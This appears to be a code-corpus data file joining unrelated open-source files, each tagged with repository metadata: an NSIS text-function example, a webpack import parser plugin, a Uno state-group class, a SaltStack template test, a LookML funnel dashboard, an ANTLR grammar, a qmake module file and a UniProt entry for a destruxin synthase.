SendMessage $0 ${WM_SETTEXT} 1 "STR:$CONFIGWRITE2"
GetDlgItem $0 $HWND 1204
ShowWindow $0 0
GetDlgItem $0 $HWND 1205
ShowWindow $0 1
SendMessage $0 ${WM_SETTEXT} 1 "STR:$CONFIGWRITE3"
GetDlgItem $0 $HWND 1211
ShowWindow $0 0
GetDlgItem $0 $HWND 1212
ShowWindow $0 0
GetDlgItem $0 $HWND 1213
SendMessage $0 ${WM_SETTEXT} 1 "STR:InputFile"
GetDlgItem $0 $HWND 1214
SendMessage $0 ${WM_SETTEXT} 1 "STR:Entry"
GetDlgItem $0 $HWND 1215
SendMessage $0 ${WM_SETTEXT} 1 "STR:Value"
GetDlgItem $0 $HWND 1216
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
Abort
FileRecodeSend:
StrCmp $R0 "9. FileRecode" 0 Abort
StrCpy $FUNCTION FileRecode
GetDlgItem $0 $HWND 1201
SendMessage $0 ${WM_SETTEXT} 1 "STR:$FILERECODE1"
GetDlgItem $0 $HWND 1203
ShowWindow $0 1
SendMessage $0 ${WM_SETTEXT} 1 "STR:$FILERECODE2"
GetDlgItem $0 $HWND 1204
ShowWindow $0 0
GetDlgItem $0 $HWND 1205
ShowWindow $0 0
GetDlgItem $0 $HWND 1211
ShowWindow $0 0
GetDlgItem $0 $HWND 1212
ShowWindow $0 0
GetDlgItem $0 $HWND 1213
SendMessage $0 ${WM_SETTEXT} 1 "STR:InputFile"
GetDlgItem $0 $HWND 1214
SendMessage $0 ${WM_SETTEXT} 1 "STR:Format"
GetDlgItem $0 $HWND 1215
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $0 $HWND 1216
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
Abort
;=Enter=
Enter:
StrCmp $R1 '' 0 +3
StrCpy $0 'Choose InputFile'
goto send
IfFileExists $R1 +3
StrCpy $0 'InputFile is not exist'
goto send
StrCmp $R0 "1. LineFind" LineFindRead
StrCmp $R0 "2. LineRead" LineRead
StrCmp $R0 "3. FileReadFromEnd" FileReadFromEnd
StrCmp $R0 "4. LineSum" LineSum
StrCmp $R0 "5. FileJoin" FileJoin
StrCmp $R0 "6. TextCompare" LineFind-TextCompare
StrCmp $R0 "7. ConfigRead" ConfigRead
StrCmp $R0 "8. ConfigWrite" ConfigWrite
StrCmp $R0 "9. FileRecode" FileRecode
Abort
LineFindRead:
StrCmp $R4 "Example7" 0 LineFind-TextCompare
${LineFind} '$R1' '/NUL' '$R3' LineFindCallback
IfErrors error
StrCmp $R0 StopLineFind 0 done
StrCpy $0 'stopped'
goto send
LineFind-TextCompare:
GetLabelAddress $6 LineFindBack
goto Edit
LineFindBack:
FileClose $0
StrCmp $R0 "6. TextCompare" Compile
StrCmp $CALLBACK '' Compile
${FileJoin} "$PROJECT" "$CALLBACK" ""
Compile:
StrCmp $LOG '' 0 +4
GetTempFileName $LOG $PLUGINSDIR
GetDlgItem $0 $HWND 1212
EnableWindow $0 1
ReadRegStr $0 HKLM "SOFTWARE\NSIS" ""
IfErrors 0 +2
StrCpy $0 "${NSISDIR}"
nsExec::Exec '"$0\makensis.exe" /O$LOG $PROJECT'
Pop $0
StrCmp $0 0 0 +6
ExecWait '$PROJECT.exe' $0
Delete $PROJECT
Delete $PROJECT.exe
StrCpy $PROJECT ''
goto done
MessageBox MB_YESNO|MB_ICONEXCLAMATION "Compile error. Open log?" IDNO +2
Exec 'notepad.exe $LOG'
StrCpy $0 "Compile Error"
goto send
LineRead:
${LineRead} "$R1" "$R2" $0
IfErrors error send
FileReadFromEnd:
${FileReadFromEnd} "$R1" "FileReadFromEndCallback"
IfErrors error
StrCmp $R0 StopFileReadFromEnd 0 done
StrCpy $0 'stopped'
goto send
LineSum:
${LineSum} "$R1" $0
IfErrors error send
FileJoin:
${FileJoin} "$R1" "$R2" "$R3"
IfErrors error
MessageBox MB_YESNO " Open output file?" IDNO done
StrCmp $R3 '' 0 +3
Exec '"notepad.exe" "$R1"'
goto done
Exec '"notepad.exe" "$R3"'
goto done
ConfigRead:
${ConfigRead} "$R1" "$R2" $0
IfErrors error send
ConfigWrite:
${ConfigWrite} "$R1" "$R2" "$R3" $0
IfErrors error
MessageBox MB_YESNO " Open output file?" IDNO send
Exec '"notepad.exe" "$R1"'
goto send
FileRecode:
${FileRecode} "$R1" "$R2"
IfErrors error
MessageBox MB_YESNO " Open output file?" IDNO done
Exec '"notepad.exe" "$R1"'
goto done
error:
StrCpy $0 'error'
goto send
done:
StrCpy $0 'Done'
send:
GetDlgItem $1 $HWND 1210
SendMessage $1 ${WM_SETTEXT} 1 "STR:$0"
abort:
Abort
FunctionEnd
Function LineFindCallback
MessageBox MB_OKCANCEL '$$R9 "Line"=[$R9]$\n$$R8 "#"=[$R8]$\n$$R7 "-#"=[$R7]$\n$$R6 "Range"=[$R6]$\n$$R5 "Read"=[$R5]$\n$$R4 "Write"=[$R4]' IDOK +2
StrCpy $R0 StopLineFind
Push $R0
FunctionEnd
Function FileReadFromEndCallback
MessageBox MB_OKCANCEL '$$9 "Line"=[$9]$\n$$8 "#"=[$8]$\n$$7 "-#"=[$7]' IDOK +2
StrCpy $R0 StopFileReadFromEnd
Push $R0
FunctionEnd
Function .onInit
InitPluginsDir
GetTempFileName $INI $PLUGINSDIR
File /oname=$INI "TextFunc.ini"
FunctionEnd
Page instfiles
Section -Empty
SectionEnd
| NSIS | 3 | vbillet/Torque3D | Engine/bin/tools/nsis/app/Examples/TextFunc.nsi | [
"MIT"
] |
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
const HotModuleReplacementPlugin = require("../HotModuleReplacementPlugin");
const InnerGraph = require("../optimize/InnerGraph");
const ConstDependency = require("./ConstDependency");
const HarmonyAcceptDependency = require("./HarmonyAcceptDependency");
const HarmonyAcceptImportDependency = require("./HarmonyAcceptImportDependency");
const HarmonyExports = require("./HarmonyExports");
const { ExportPresenceModes } = require("./HarmonyImportDependency");
const HarmonyImportSideEffectDependency = require("./HarmonyImportSideEffectDependency");
const HarmonyImportSpecifierDependency = require("./HarmonyImportSpecifierDependency");
/** @typedef {import("estree").ExportAllDeclaration} ExportAllDeclaration */
/** @typedef {import("estree").ExportNamedDeclaration} ExportNamedDeclaration */
/** @typedef {import("estree").Identifier} Identifier */
/** @typedef {import("estree").ImportDeclaration} ImportDeclaration */
/** @typedef {import("estree").ImportExpression} ImportExpression */
/** @typedef {import("../../declarations/WebpackOptions").JavascriptParserOptions} JavascriptParserOptions */
/** @typedef {import("../javascript/JavascriptParser")} JavascriptParser */
/** @typedef {import("../optimize/InnerGraph").InnerGraph} InnerGraph */
/** @typedef {import("../optimize/InnerGraph").TopLevelSymbol} TopLevelSymbol */
/** @typedef {import("./HarmonyImportDependency")} HarmonyImportDependency */
const harmonySpecifierTag = Symbol("harmony import");
/**
* @typedef {Object} HarmonySettings
* @property {string[]} ids
* @property {string} source
* @property {number} sourceOrder
* @property {string} name
* @property {boolean} await
* @property {Record<string, any> | undefined} assertions
*/
/**
* @param {ImportDeclaration | ExportNamedDeclaration | ExportAllDeclaration | ImportExpression} node node with assertions
* @returns {Record<string, any> | undefined} assertions
*/
function getAssertions(node) {
// TODO remove cast when @types/estree has been updated to import assertions
const assertions = /** @type {{ assertions?: ImportAttributeNode[] }} */ (
node
).assertions;
if (assertions === undefined) {
return undefined;
}
const result = {};
for (const assertion of assertions) {
const key =
assertion.key.type === "Identifier"
? assertion.key.name
: assertion.key.value;
result[key] = assertion.value.value;
}
return result;
}
module.exports = class HarmonyImportDependencyParserPlugin {
/**
* @param {JavascriptParserOptions} options options
*/
constructor(options) {
this.exportPresenceMode =
options.importExportsPresence !== undefined
? ExportPresenceModes.fromUserOption(options.importExportsPresence)
: options.exportsPresence !== undefined
? ExportPresenceModes.fromUserOption(options.exportsPresence)
: options.strictExportPresence
? ExportPresenceModes.ERROR
: ExportPresenceModes.AUTO;
this.strictThisContextOnImports = options.strictThisContextOnImports;
}
/**
* @param {JavascriptParser} parser the parser
* @returns {void}
*/
apply(parser) {
const { exportPresenceMode } = this;
parser.hooks.isPure
.for("Identifier")
.tap("HarmonyImportDependencyParserPlugin", expression => {
const expr = /** @type {Identifier} */ (expression);
if (
parser.isVariableDefined(expr.name) ||
parser.getTagData(expr.name, harmonySpecifierTag)
) {
return true;
}
});
parser.hooks.import.tap(
"HarmonyImportDependencyParserPlugin",
(statement, source) => {
parser.state.lastHarmonyImportOrder =
(parser.state.lastHarmonyImportOrder || 0) + 1;
const clearDep = new ConstDependency(
parser.isAsiPosition(statement.range[0]) ? ";" : "",
statement.range
);
clearDep.loc = statement.loc;
parser.state.module.addPresentationalDependency(clearDep);
parser.unsetAsiPosition(statement.range[1]);
const assertions = getAssertions(statement);
const sideEffectDep = new HarmonyImportSideEffectDependency(
source,
parser.state.lastHarmonyImportOrder,
assertions
);
sideEffectDep.loc = statement.loc;
parser.state.module.addDependency(sideEffectDep);
return true;
}
);
parser.hooks.importSpecifier.tap(
"HarmonyImportDependencyParserPlugin",
(statement, source, id, name) => {
const ids = id === null ? [] : [id];
parser.tagVariable(name, harmonySpecifierTag, {
name,
source,
ids,
sourceOrder: parser.state.lastHarmonyImportOrder,
assertions: getAssertions(statement)
});
return true;
}
);
parser.hooks.expression
.for(harmonySpecifierTag)
.tap("HarmonyImportDependencyParserPlugin", expr => {
const settings = /** @type {HarmonySettings} */ (parser.currentTagData);
const dep = new HarmonyImportSpecifierDependency(
settings.source,
settings.sourceOrder,
settings.ids,
settings.name,
expr.range,
exportPresenceMode,
settings.assertions
);
dep.shorthand = parser.scope.inShorthand;
dep.directImport = true;
dep.asiSafe = !parser.isAsiPosition(expr.range[0]);
dep.loc = expr.loc;
parser.state.module.addDependency(dep);
InnerGraph.onUsage(parser.state, e => (dep.usedByExports = e));
return true;
});
parser.hooks.expressionMemberChain
.for(harmonySpecifierTag)
.tap("HarmonyImportDependencyParserPlugin", (expr, members) => {
const settings = /** @type {HarmonySettings} */ (parser.currentTagData);
const ids = settings.ids.concat(members);
const dep = new HarmonyImportSpecifierDependency(
settings.source,
settings.sourceOrder,
ids,
settings.name,
expr.range,
exportPresenceMode,
settings.assertions
);
dep.asiSafe = !parser.isAsiPosition(expr.range[0]);
dep.loc = expr.loc;
parser.state.module.addDependency(dep);
InnerGraph.onUsage(parser.state, e => (dep.usedByExports = e));
return true;
});
parser.hooks.callMemberChain
.for(harmonySpecifierTag)
.tap("HarmonyImportDependencyParserPlugin", (expr, members) => {
const { arguments: args, callee } = expr;
const settings = /** @type {HarmonySettings} */ (parser.currentTagData);
const ids = settings.ids.concat(members);
const dep = new HarmonyImportSpecifierDependency(
settings.source,
settings.sourceOrder,
ids,
settings.name,
callee.range,
exportPresenceMode,
settings.assertions
);
dep.directImport = members.length === 0;
dep.call = true;
dep.asiSafe = !parser.isAsiPosition(callee.range[0]);
// only in case when we strictly follow the spec we need a special case here
dep.namespaceObjectAsContext =
members.length > 0 && this.strictThisContextOnImports;
dep.loc = callee.loc;
parser.state.module.addDependency(dep);
if (args) parser.walkExpressions(args);
InnerGraph.onUsage(parser.state, e => (dep.usedByExports = e));
return true;
});
const { hotAcceptCallback, hotAcceptWithoutCallback } =
HotModuleReplacementPlugin.getParserHooks(parser);
hotAcceptCallback.tap(
"HarmonyImportDependencyParserPlugin",
(expr, requests) => {
if (!HarmonyExports.isEnabled(parser.state)) {
// This is not a harmony module, skip it
return;
}
const dependencies = requests.map(request => {
const dep = new HarmonyAcceptImportDependency(request);
dep.loc = expr.loc;
parser.state.module.addDependency(dep);
return dep;
});
if (dependencies.length > 0) {
const dep = new HarmonyAcceptDependency(
expr.range,
dependencies,
true
);
dep.loc = expr.loc;
parser.state.module.addDependency(dep);
}
}
);
hotAcceptWithoutCallback.tap(
"HarmonyImportDependencyParserPlugin",
(expr, requests) => {
if (!HarmonyExports.isEnabled(parser.state)) {
// This is not a harmony module, skip it
return;
}
const dependencies = requests.map(request => {
const dep = new HarmonyAcceptImportDependency(request);
dep.loc = expr.loc;
parser.state.module.addDependency(dep);
return dep;
});
if (dependencies.length > 0) {
const dep = new HarmonyAcceptDependency(
expr.range,
dependencies,
false
);
dep.loc = expr.loc;
parser.state.module.addDependency(dep);
}
}
);
}
};
module.exports.harmonySpecifierTag = harmonySpecifierTag;
module.exports.getAssertions = getAssertions;
| JavaScript | 5 | KruthikaShyamSundar/wildlife_park | node_modules/webpack/lib/dependencies/HarmonyImportDependencyParserPlugin.js | [
"MIT"
] |
using Uno;
using Uno.Collections;
using Uno.UX;
using Fuse;
namespace Fuse.Triggers
{
public enum StateTransition
{
Parallel,
Exclusive,
}
/**
@include Docs/StateGroup.md
*/
public partial class StateGroup : Behavior
{
IList<State> _states = new List<State>();
[UXContent]
public IList<State> States { get { return _states; } }
State _active;
public State Active
{
get { return _active; }
set
{
if (value != _active)
Goto(value);
}
}
State _rest;
public State Rest
{
get
{
if (_rest != null)
return _rest;
if (_states.Count > 0)
return _states[0];
return null;
}
set { _rest = value; }
}
int ActiveIndex
{
get
{
for (int i=0; i < States.Count; ++i)
if( _active == States[i])
return i;
return -1;
}
set
{
Active = _states[value];
}
}
public void GotoNextState()
{
ActiveIndex = (ActiveIndex +1) % _states.Count;
}
public object FindObjectByName(Selector name, Predicate<object> acceptor)
{
foreach (var s in States)
{
if (s.Name == name && acceptor(s)) return s;
}
return null;
}
StateTransition _transition;
public StateTransition Transition
{
get { return _transition; }
set { _transition = value; }
}
protected override void OnUnrooted()
{
base.OnUnrooted();
foreach (var state in _states)
{
Parent.Remove(state);
}
}
protected override void OnRooted()
{
base.OnRooted();
if (_active == null && _states.Count > 0)
_active = _states[0];
foreach (var state in _states)
{
state.On = state == _active;
state.RootStateGroup(this);
Parent.Add(state);
}
}
internal void Goto(State next)
{
_active = next;
//this is needed in case a state swtich results in a state switch, see `ChainedSwitch` test case
UpdateManager.AddDeferredAction( (new GotoImpl{ Next = next, Group = this }).Go );
}
class GotoImpl
{
public State Next;
public StateGroup Group;
public void Go()
{
switch (Group.Transition)
{
case StateTransition.Parallel:
foreach (var state in Group._states)
state.On = state == Next;
break;
case StateTransition.Exclusive:
foreach (var state in Group._states)
state.On = false;
Group.CheckAllDone();
break;
}
}
}
//called by State to indicate the playback has stopped
internal void StateStopped()
{
if (Transition == StateTransition.Exclusive)
UpdateManager.AddDeferredAction( CheckAllDone );
}
void CheckAllDone()
{
bool all = true;
foreach (var state in _states)
{
if (state.Progress > 0)
{
all = false;
}
}
if (all && _active != null)
_active.On = true;
}
}
}
| Uno | 5 | helilabs/fuselibs | Source/Fuse.Triggers/StateGroup.uno | [
"MIT"
] |
interface SimpleLex = {
oper
DictionaryItem09 : Str ;
DictionaryItem12 : Str ;
} | Grammatical Framework | 2 | Site-Command/accelerated-text | core/test/resources/syntax/SimpleLex.gf | [
"Apache-2.0"
] |
{% if grains['os'] == 'Windows' %}
{% set result = 'c:\Windows\system.ini' | is_text_file() %}
{% else %}
{% set result = '/etc/passwd' | is_text_file() %}
{% endif %}
{% include 'jinja_filters/common.sls' %}
| SaltStack | 4 | byteskeptical/salt | tests/integration/files/file/base/jinja_filters/files_is_text.sls | [
"Apache-2.0"
] |
- dashboard: funnel_explorer
title: Funnel Explorer
layout: grid
rows:
- elements: [custom_funnel]
height: 400
- elements: [trending_event_1_conversion]
height: 400
- elements: [trending_event_2_conversion]
height: 400
- elements: [trending_event_3_conversion]
height: 400
filters:
- name: event_1
type: field_filter
explore: all_events
field: all_events.event_name
default_value: homepage_click_get_started # modify to desired default first event name value
- name: event_2
type: field_filter
explore: all_events
field: all_events.event_name
default_value: signed_up # modify to desired default second event name value
- name: event_3
type: field_filter
explore: all_events
field: all_events.event_name
default_value: dashboard_galleries_click_add_files # modify to desired third event name value
- name: date
type: date_filter
default_value: 30 days
elements:
- name: custom_funnel
title: Custom Funnel
type: looker_column
model: heap_block
explore: funnel_explorer
measures: [funnel_explorer.count_sessions_event1, funnel_explorer.count_sessions_event12,
funnel_explorer.count_sessions_event123]
listen:
event_1: funnel_explorer.event1
event_2: funnel_explorer.event2
event_3: funnel_explorer.event3
date: funnel_explorer.session_date
colors: ['#5245ed', '#ed6168', '#1ea8df', '#353b49', '#49cec1', '#b3a0dd', '#db7f2a',
'#706080', '#a2dcf3', '#776fdf', '#e9b404', '#635189']
sorts: [funnel_explorer.count_sessions_event1 desc]
limit: 500
label_density: 25
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
show_dropoff: true
- name: trending_event_1_conversion
title: Trending Conversion Rates Event 1
type: looker_line
model: heap_block
explore: funnel_explorer
dimensions: [funnel_explorer.session_date]
measures: [funnel_explorer.conversion_rate_event_1]
listen:
event_1: funnel_explorer.event1
event_2: funnel_explorer.event2
event_3: funnel_explorer.event3
date: funnel_explorer.session_date
sorts: [funnel_explorer.session_date]
limit: 500
show_value_labels: true
label_density: '8'
label_color: [black]
colors: ['#5245ed', '#ed6168', '#1ea8df', '#353b49', '#49cec1', '#b3a0dd', '#db7f2a',
'#706080', '#a2dcf3', '#776fdf', '#e9b404', '#635189']
font_size: '12'
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
point_style: none
interpolation: linear
- name: trending_event_2_conversion
title: Trending Conversion Rates Event 2
type: looker_line
model: heap_block
explore: funnel_explorer
dimensions: [funnel_explorer.session_date]
measures: [funnel_explorer.conversion_rate_event_2]
colors: ['#ed6168', '#1ea8df', '#353b49', '#49cec1', '#b3a0dd', '#db7f2a',
'#706080', '#a2dcf3', '#776fdf', '#e9b404', '#635189']
listen:
event_1: funnel_explorer.event1
event_2: funnel_explorer.event2
event_3: funnel_explorer.event3
date: funnel_explorer.session_date
sorts: [funnel_explorer.session_date]
limit: 500
show_value_labels: true
label_density: '8'
label_color: [black]
font_size: '12'
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
point_style: none
interpolation: linear
- name: trending_event_3_conversion
title: Trending Conversion Rates Event 3
type: looker_line
model: heap_block
explore: funnel_explorer
dimensions: [funnel_explorer.session_date]
measures: [funnel_explorer.conversion_rate_event_3]
colors: ['#1ea8df', '#353b49', '#49cec1', '#b3a0dd', '#db7f2a',
'#706080', '#a2dcf3', '#776fdf', '#e9b404', '#635189']
listen:
event_1: funnel_explorer.event1
event_2: funnel_explorer.event2
event_3: funnel_explorer.event3
date: funnel_explorer.session_date
sorts: [funnel_explorer.session_date]
limit: 500
show_value_labels: true
label_density: '8'
label_color: [black]
font_size: '12'
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
point_style: none
interpolation: linear
| LookML | 4 | llooker/heap_block_bigquery | funnel_explorer.dashboard.lookml | [
"MIT"
] |
grammar JSONFilter;
awsjsonfilter: dotnotation;
dotnotation: LCURLY filter_expr RCURLY;
filter_expr:
LPAREN filter_expr RPAREN # filter_expr_parenthesized
| lhs = filter_expr AND rhs = filter_expr # filter_expr_and
| lhs = filter_expr OR rhs = filter_expr # filter_expr_or
| exp # filter_expr_exp;
exp: selector operator (literal | qualifiedidentifier);
selector: SEL_START qualifiedidentifier;
qualifiedidentifier: member ( DOT member)*;
member: INDENTIFIER | INDENTIFIER (LBRACKET NUMBER RBRACKET)+;
operator: (EQUALS | NOT_EQUALS | IS | NOT | GT | LT | GE | LE);
literal:
NUMBER (DOT (NUMBER | STAR))+
| STRING
| NUMBER
| NULL
| EXISTS
| TRUE
| FALSE
| INDENTIFIER;
SEL_START: '$.';
STAR: '*';
LCURLY: '{';
RCURLY: '}';
LPAREN: '(';
RPAREN: ')';
LBRACKET: '[';
RBRACKET: ']';
DOT: '.';
AND: '&&';
OR: '||';
EQUALS: '=';
NOT_EQUALS: '!=';
GT: '>';
LT: '<';
GE: '>=';
LE: '<=';
IS: 'IS';
NOT: 'NOT';
// Case sensitive?
NULL: 'NULL';
EXISTS: 'EXISTS';
TRUE: 'TRUE';
FALSE: 'FALSE';
INDENTIFIER: [a-zA-Z][a-zA-Z0-9]*;
STRING: '"' (ESC | SAFECODEPOINT)* '"';
fragment ESC: '\\' (["\\/bfnrt] | UNICODE);
fragment UNICODE: 'u' HEX HEX HEX HEX;
fragment HEX: [0-9a-fA-F];
fragment SAFECODEPOINT: ~ ["\\\u0000-\u001F];
NUMBER: ('-' | '+')? INT ('.' [0-9]+)? EXP?;
fragment INT: '0' | [1-9] [0-9]*;
// no leading zeros
fragment EXP: [Ee] [+\-]? INT;
WS: [ \t\n\r]+ -> skip;
| ANTLR | 4 | cxMiguelSilva/kics | pkg/parser/jsonfilter/JSONFilter.g4 | [
"Apache-2.0"
] |
QT.serialport_private.VERSION = 5.9.4
QT.serialport_private.name = QtSerialPort
QT.serialport_private.module =
QT.serialport_private.libs = $$QT_MODULE_LIB_BASE
QT.serialport_private.includes = $$QT_MODULE_INCLUDE_BASE/QtSerialPort/5.9.4 $$QT_MODULE_INCLUDE_BASE/QtSerialPort/5.9.4/QtSerialPort
QT.serialport_private.frameworks =
QT.serialport_private.depends = core_private serialport
QT.serialport_private.uses =
QT.serialport_private.module_config = v2 internal_module
QT.serialport_private.enabled_features =
QT.serialport_private.disabled_features =
| QMake | 1 | PLohrmannAMD/renderdoc | qrenderdoc/3rdparty/qt/x64/mkspecs/modules/qt_lib_serialport_private.pri | [
"MIT"
] |
ID DTXS1_METRA Reviewed; 7913 AA.
AC E9FCP4;
DT 08-JUN-2016, integrated into UniProtKB/Swiss-Prot.
DT 04-MAR-2015, sequence version 2.
DT 07-SEP-2016, entry version 35.
DE RecName: Full=Nonribosomal peptide synthetase dtxS1 {ECO:0000305};
DE EC=6.3.2.- {ECO:0000269|PubMed:22232661};
DE AltName: Full=Destruxin synthase dtxS1 {ECO:0000303|PubMed:22232661};
DE Short=DXS {ECO:0000303|PubMed:22367459};
DE AltName: Full=Destruxin synthesis protein 1 {ECO:0000303|PubMed:22232661};
GN Name=dtxS1 {ECO:0000303|PubMed:22232661}; ORFNames=MAA_10043;
OS Metarhizium robertsii (strain ARSEF 23 / ATCC MYA-3075) (Metarhizium
OS anisopliae (strain ARSEF 23)).
OC Eukaryota; Fungi; Dikarya; Ascomycota; Pezizomycotina;
OC Sordariomycetes; Hypocreomycetidae; Hypocreales; Clavicipitaceae;
OC Metarhizium.
OX NCBI_TaxID=655844;
RN [1]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=ARSEF 23 / ATCC MYA-3075;
RX PubMed=21253567; DOI=10.1371/journal.pgen.1001264;
RA Gao Q., Jin K., Ying S.-H., Zhang Y., Xiao G., Shang Y., Duan Z.,
RA Hu X., Xie X.-Q., Zhou G., Peng G., Luo Z., Huang W., Wang B.,
RA Fang W., Wang S., Zhong Y., Ma L.-J., St Leger R.J., Zhao G.-P.,
RA Pei Y., Feng M.-G., Xia Y., Wang C.;
RT "Genome sequencing and comparative transcriptomics of the model
RT entomopathogenic fungi Metarhizium anisopliae and M. acridum.";
RL PLoS Genet. 7:E1001264-E1001264(2011).
RN [2]
RP GENOME REANNOTATION.
RC STRAIN=ARSEF 23 / ATCC MYA-3075;
RX PubMed=25368161; DOI=10.1073/pnas.1412662111;
RA Hu X., Xiao G., Zheng P., Shang Y., Su Y., Zhang X., Liu X., Zhan S.,
RA St Leger R.J., Wang C.;
RT "Trajectory and genomic determinants of fungal-pathogen speciation and
RT host adaptation.";
RL Proc. Natl. Acad. Sci. U.S.A. 111:16796-16801(2014).
RN [3]
RP FUNCTION, AND INDUCTION.
RX PubMed=22367459; DOI=10.1007/s00294-012-0368-4;
RA Giuliano Garisto Donzelli B., Krasnoff S.B., Moon Y.S., Sun-Moon Y.,
RA Churchill A.C., Gibson D.M.;
RT "Genetic basis of destruxin production in the entomopathogen
RT Metarhizium robertsii.";
RL Curr. Genet. 58:105-116(2012).
RN [4]
RP FUNCTION, DISRUPTION PHENOTYPE, AND CATALYTIC ACTIVITY.
RX PubMed=22232661; DOI=10.1073/pnas.1115983109;
RA Wang B., Kang Q., Lu Y., Bai L., Wang C.;
RT "Unveiling the biosynthetic puzzle of destruxins in Metarhizium
RT species.";
RL Proc. Natl. Acad. Sci. U.S.A. 109:1287-1292(2012).
CC -!- FUNCTION: Nonribosomal peptide synthetase; part of the gene
CC cluster that mediates the biosynthesis of destruxins, insecticidal
CC cyclic hexadepsipeptides which induce flaccid paralysis and
CC visceral muscle contraction in insects through targeting the
CC calcium channels and vacuolar-type ATPases (PubMed:22367459,
CC PubMed:22232661). The aldo-keto reductase dtxS3 converts alpha-
CC ketoisocaproic acid from deaminated leucine into alpha-
CC hydroxyisocaproic acid (HIC), which is the first substrate for
CC destruxin assembly by dtxS1 (PubMed:22232661). L-aspartate
CC decarboxylase dtxS4 converts aspartic acid into beta-alanine, the
CC last substrate for the destruxin assembly line performed by dtxS1
CC (PubMed:22232661). The nonribosomal peptide synthetase dtxS1
CC synthesizes destruxins B and B2, whereas the cytochrome P450
CC monooxygenase dtxS2 is required to convert destruxin B into other
CC destruxin derivatives, including destructins C, D, A and E
CC (PubMed:22232661). Destruxin E-diol (ED) is further produced in a
CC non-enzymatic manner from destruxin E (PubMed:22232661).
CC Destruxins play an important role in virulence and escape from
CC insect host immune defenses (PubMed:22232661).
CC {ECO:0000269|PubMed:22232661, ECO:0000269|PubMed:22367459}.
CC -!- PATHWAY: Secondary metabolite biosynthesis.
CC {ECO:0000269|PubMed:22232661}.
CC -!- INDUCTION: Expression is low during early growth phases and
CC increases with time to reach a steady high level at later growth
CC stages (PubMed:22367459). Also expressed in conidia
CC (PubMed:22367459). {ECO:0000269|PubMed:22367459}.
CC -!- DISRUPTION PHENOTYPE: Impairs the production of destruxins either
CC in CD medium or in silkworm larva (PubMed:22232661). Impairs also
CC the ability to escape insect host immune defenses
CC (PubMed:22232661). {ECO:0000269|PubMed:22232661}.
CC -!- SIMILARITY: Belongs to the NRP synthase family. {ECO:0000305}.
CC -!- SIMILARITY: Contains 6 acyl carrier domains. {ECO:0000255|PROSITE-
CC ProRule:PRU00258}.
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DR EMBL; ADNJ02000010; EFY94500.2; -; Genomic_DNA.
DR RefSeq; XP_007826232.2; XM_007828041.2.
DR ProteinModelPortal; E9FCP4; -.
DR EnsemblFungi; EFY94500; EFY94500; MAA_10043.
DR GeneID; 19264329; -.
DR KEGG; maj:MAA_10043; -.
DR OrthoDB; EOG092C0002; -.
DR Proteomes; UP000002498; Unassembled WGS sequence.
DR GO; GO:0016853; F:isomerase activity; IEA:UniProtKB-KW.
DR GO; GO:0016874; F:ligase activity; IEA:UniProtKB-KW.
DR GO; GO:0008168; F:methyltransferase activity; IEA:InterPro.
DR GO; GO:0031177; F:phosphopantetheine binding; IEA:InterPro.
DR GO; GO:0009405; P:pathogenesis; IEA:UniProtKB-KW.
DR Gene3D; 1.10.1200.10; -; 6.
DR Gene3D; 3.40.50.150; -; 2.
DR InterPro; IPR010071; AA_adenyl_domain.
DR InterPro; IPR020845; AMP-binding_CS.
DR InterPro; IPR000873; AMP-dep_Synth/Lig.
DR InterPro; IPR001242; Condensatn.
DR InterPro; IPR013216; Methyltransf_11.
DR InterPro; IPR020806; PKS_PP-bd.
DR InterPro; IPR009081; PP-bd_ACP.
DR InterPro; IPR006162; Ppantetheine_attach_site.
DR InterPro; IPR029063; SAM-dependent_MTases.
DR Pfam; PF00501; AMP-binding; 6.
DR Pfam; PF00668; Condensation; 7.
DR Pfam; PF08241; Methyltransf_11; 1.
DR Pfam; PF00550; PP-binding; 6.
DR SMART; SM00823; PKS_PP; 6.
DR SUPFAM; SSF47336; SSF47336; 6.
DR SUPFAM; SSF53335; SSF53335; 2.
DR TIGRFAMs; TIGR01733; AA-adenyl-dom; 6.
DR PROSITE; PS50075; ACP_DOMAIN; 6.
DR PROSITE; PS00455; AMP_BINDING; 4.
DR PROSITE; PS00012; PHOSPHOPANTETHEINE; 6.
PE 1: Evidence at protein level;
KW Complete proteome; Isomerase; Ligase; Phosphopantetheine;
KW Phosphoprotein; Reference proteome; Repeat; Virulence.
FT CHAIN 1 7913 Nonribosomal peptide synthetase dtxS1.
FT /FTId=PRO_0000436436.
FT DOMAIN 794 862 Acyl carrier 1. {ECO:0000255|PROSITE-
FT ProRule:PRU00258}.
FT DOMAIN 1870 1938 Acyl carrier 2. {ECO:0000255|PROSITE-
FT ProRule:PRU00258}.
FT DOMAIN 3385 3453 Acyl carrier 3. {ECO:0000255|PROSITE-
FT ProRule:PRU00258}.
FT DOMAIN 4458 4526 Acyl carrier 4. {ECO:0000255|PROSITE-
FT ProRule:PRU00258}.
FT DOMAIN 5938 6006 Acyl carrier 5. {ECO:0000255|PROSITE-
FT ProRule:PRU00258}.
FT DOMAIN 7399 7467 Acyl carrier 6. {ECO:0000255|PROSITE-
FT ProRule:PRU00258}.
FT REGION 263 662 Adenylation 1. {ECO:0000255}.
FT REGION 903 1171 Condensation 1. {ECO:0000255}.
FT REGION 1332 1740 Adenylation 2. {ECO:0000255}.
FT REGION 1965 2249 Condensation 2. {ECO:0000255}.
FT REGION 2863 3255 Adenylation 3. {ECO:0000255}.
FT REGION 3496 3761 Condensation 3. {ECO:0000255}.
